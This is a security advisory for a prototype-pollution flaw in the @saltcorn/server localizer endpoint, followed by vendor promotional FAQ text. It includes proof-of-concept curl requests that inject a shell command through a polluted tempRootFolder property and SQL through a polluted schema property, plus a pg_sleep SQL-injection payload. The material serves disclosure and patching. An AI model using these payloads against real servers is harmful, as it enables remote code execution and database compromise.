Summary
@saltcorn/server Remote Code Execution (RCE) / SQL injection via prototype pollution by manipulating lang and defstring parameters when setting localizer strings
The endpoint /site-structure/localizer/save-string/:lang/:defstring accepts two parameter values: lang and defstring. These values are used in an unsafe way to set the keys and value of the cfgStrings object. It allows to add/modify properties of the Object prototype that result in several logic issues, including:
- RCE vulnerabilities by polluting the
tempRootFolderproperty - SQL injection vulnerabilities by polluting the
schemaproperty when usingPostgreSQLdatabase.
Details
router.post(
"/localizer/save-string/:lang/:defstring",
isAdmin,
error_catcher(async (req, res) => {
const { lang, defstring } = req.params; // source
const cfgStrings = getState().getConfigCopy("localizer_strings");
if (cfgStrings[lang]) cfgStrings[lang][defstring] = text(req.body.value); // [1] sink
else cfgStrings[lang] = { [defstring]: text(req.body.value) };
await getState().setConfig("localizer_strings", cfgStrings);
res.redirect(`/site-structure/localizer/edit/${lang}`);
})
);
PoC
Setup:
- set
SALTCORN_NWORKERS=1before starting thesaltcornserver (to easily observe the behavior of the PoC)
SALTCORN_NWORKERS=1 saltcorn serve
- make sure to use PostgresSQL backend
- login with a user with admin permission
RCE
This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain command executed.
- check that the file that will be created does not exists:
cat /tmp/RCE
cat: /tmp/RCE: No such file or directory
- pollute the
Object.prototypewith atempRootFoldervalue set to;echo+"rce"|tee+/tmp/RCE;by sending the following request *** :
curl -i -X $'POST' \
-H $'Host: localhost:3000' \
-H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \
-H $'Origin: http://localhost:3000' \
-H $'Connection: close' \
-b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \
--data-binary $'_csrf=VALID_csrf_Value&value=;echo+"rce"|tee+/tmp/RCE;' \
$'http://localhost:3000/site-structure/localizer/save-string/__proto__/tempRootFolder'
visit http://localhost:3000/plugins/new
- enter the following fields:
- Name:
test - Source:
git - other fields blank
- click
Create
- Name:
- you will get an error but the command
echo "rce" | tee /tmp/RCEwill be executed - to verify:
cat /tmp/RCE
rce
The RCE occurs because after the previous curl request, the tempRootFolder property is set to ;echo+"rce"|tee+/tmp/RCE; that is later used to build the shell commands.
class PluginInstaller {
constructor(plugin, opts = {}) { // opts will have the tempRootFolder property set with dangerous values // [2]
[...]
this.tempRootFolder =
opts.tempRootFolder || envPaths("saltcorn", { suffix: "tmp" }).temp; // [3]
[...]
this.pckJsonPath = join(this.pluginDir, "package.json");
this.tempDir = join(this.tempRootFolder, "temp_install", ...tokens); // [4]
[...]
}
[...]
}
SQL Injection
This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain SQL queries (i.e SQLi).
- visit
http://localhost:3000/tableto check the page returns some results (no errors) - pollute the
Object.prototypewith a schema value set to"(just to create an exception in the query that will be executed to demonstrate the issue) by sending the following request *** :
curl -i -X $'POST' \
-H $'Host: localhost:3000' \
-H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \
-H $'Origin: http://localhost:3000' \
-H $'Connection: close' \
-b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \
--data-binary $'_csrf=VALID_csrf_Value&value=\"' \
$'http://localhost:3000/site-structure/localizer/save-string/__proto__/schema'
- visit again
http://localhost:3000/tablebut this time an SQL error will appear:
syntax error at or near "" order by lower(""
NOTE: Another payload to use as value could be pg_user"+WHERE+1=1+AND+(SELECT+pg_sleep(5))+IS+NOT+NULL+--
The SQL injection occurs because after the previous curl request, the schema property is set to ".
const select = async (tbl, whereObj, selectopts = {}) => { // [2] selectopts
const { where, values } = mkWhere(whereObj);
const schema = selectopts.schema || getTenantSchema(); // [3] selectopts.schema
const sql = `SELECT ${
selectopts.fields ? selectopts.fields.join(", ") : `*`
} FROM "${schema}"."${sqlsanitize(tbl)}" ${where} ${mkSelectOptions( // [4] schema
selectopts,
values,
false
)}`;
sql_log(sql, values);
const tq = await (client || selectopts.client || pool).query(sql, values);
return tq.rows;
};
*** Retrieve valid values for the connect.sid (VALID_CONNECT_SID_COOKIE) and _csrf values (VALID_csrf_Value) :
- open the browser developer console and go to the
Networktab - visit
http://localhost:3000/site-structure/localizer/add-lang - add a language (
Name: test,Locale: test) and clickSave - under the
Networktab, filter forsave-langand check the request parameters (HeadersandPayload/Requesttabs) - copy the values for
connect.sidand_csrfand paste in the curl command above
Recommended Mitigation
Check the values of lang and defstring parameters against dangerous properties like __proto__, constructor, prototype.
Impact
Remote code execution (RCE), Sql injection and business logic errors.
GHSA-78P3-FWCQ-62C2 has a CVSS score of 7.2 (High). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.0.0-beta.14); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-78P3-FWCQ-62C2? GHSA-78P3-FWCQ-62C2 is a high-severity security vulnerability in @saltcorn/server (npm), affecting versions <= 1.0.0-beta.13. It is fixed in 1.0.0-beta.14.
- How severe is GHSA-78P3-FWCQ-62C2? GHSA-78P3-FWCQ-62C2 has a CVSS score of 7.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @saltcorn/server are affected by GHSA-78P3-FWCQ-62C2? @saltcorn/server (npm) versions <= 1.0.0-beta.13 is affected.
- Is there a fix for GHSA-78P3-FWCQ-62C2? Yes. GHSA-78P3-FWCQ-62C2 is fixed in 1.0.0-beta.14. Upgrade to this version or later.
- Is GHSA-78P3-FWCQ-62C2 exploitable, and should I be worried? Whether GHSA-78P3-FWCQ-62C2 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-78P3-FWCQ-62C2 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-78P3-FWCQ-62C2? Upgrade
@saltcorn/serverto 1.0.0-beta.14 or later.